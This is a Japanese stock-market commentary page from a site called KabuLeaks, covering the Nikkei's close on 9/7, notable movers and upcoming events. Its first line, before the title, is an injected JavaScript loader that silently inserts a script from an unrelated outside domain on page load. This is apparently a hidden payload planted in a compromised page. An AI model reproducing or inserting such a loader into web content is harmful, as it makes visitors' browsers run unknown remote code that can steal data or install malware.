;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/7 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【9/7 大引け】

本日の日経平均株価は68円高と反発。朝方は前週末の欧米株安を受け序盤は売りが先行も中国市場、上海総合指数が上昇すると安心感が広がり先物主導で上昇しプラス転換。買い一巡後は再度マイナス圏に沈む場面もあり、方向感に欠く展開となったが大引けにかけプラス圏に再度浮上。かろうじてプラス圏は維持した。業種別では、倉庫運輸関連、輸送用機器、水産・農林業、電気・ガス業などが値上がり上位に。一方、ガラス土石製品、不動産業、食料品、その他金融業などが値下がり上位となった。

個別では、フライホイール人気再燃の【7709】クボテックや、9月4日に「医療渡航支援企業」の認証審査に合格。認証機関である一般社団法人Medical Excellence JAPAN(MEJ)より「医療渡航支援企業」の「正認証」を国内で初めて受けたと発表した【6063】日本エマージェンシーアシスタンスがストップ高。また、旧村上ファンドの流れをくむ投資ファンドとして知られるエフィッシモの大量保有が伝わり、これを刺激材料に【7752】リコーが大幅高となったほか、先週末に上半期決算発表、従来予想を大きく上振れ着地となった【3657】ポールトゥウィン、先週末、未定としていた上半期業績予想を発表。経常損益は550億円の黒字、前年同期319億円の赤字から大幅に改善する見通しとなった九州電力なども買い優勢となった。一方、先週末下方修正を発表した【9678】カナモトや日経平均採用銘柄からの除外で需給懸念から【3110】日東紡績などが一時ストップ安の大幅安となった。

今週、週末のSQ、来週16~17日のFOMCを見極めたい投資家も多くこれらイベント通過までは方向感に欠き、値動き荒い展開が続く可能性が高そうだ。また、明日は寄り付き前に4-6月期実質GDP改定値の発表があるほか、中国では8~10日にかけて、貿易統計や物価統計などの発表を控えていることから、朝方から様子見ムード。相場の重しとなる可能性もある。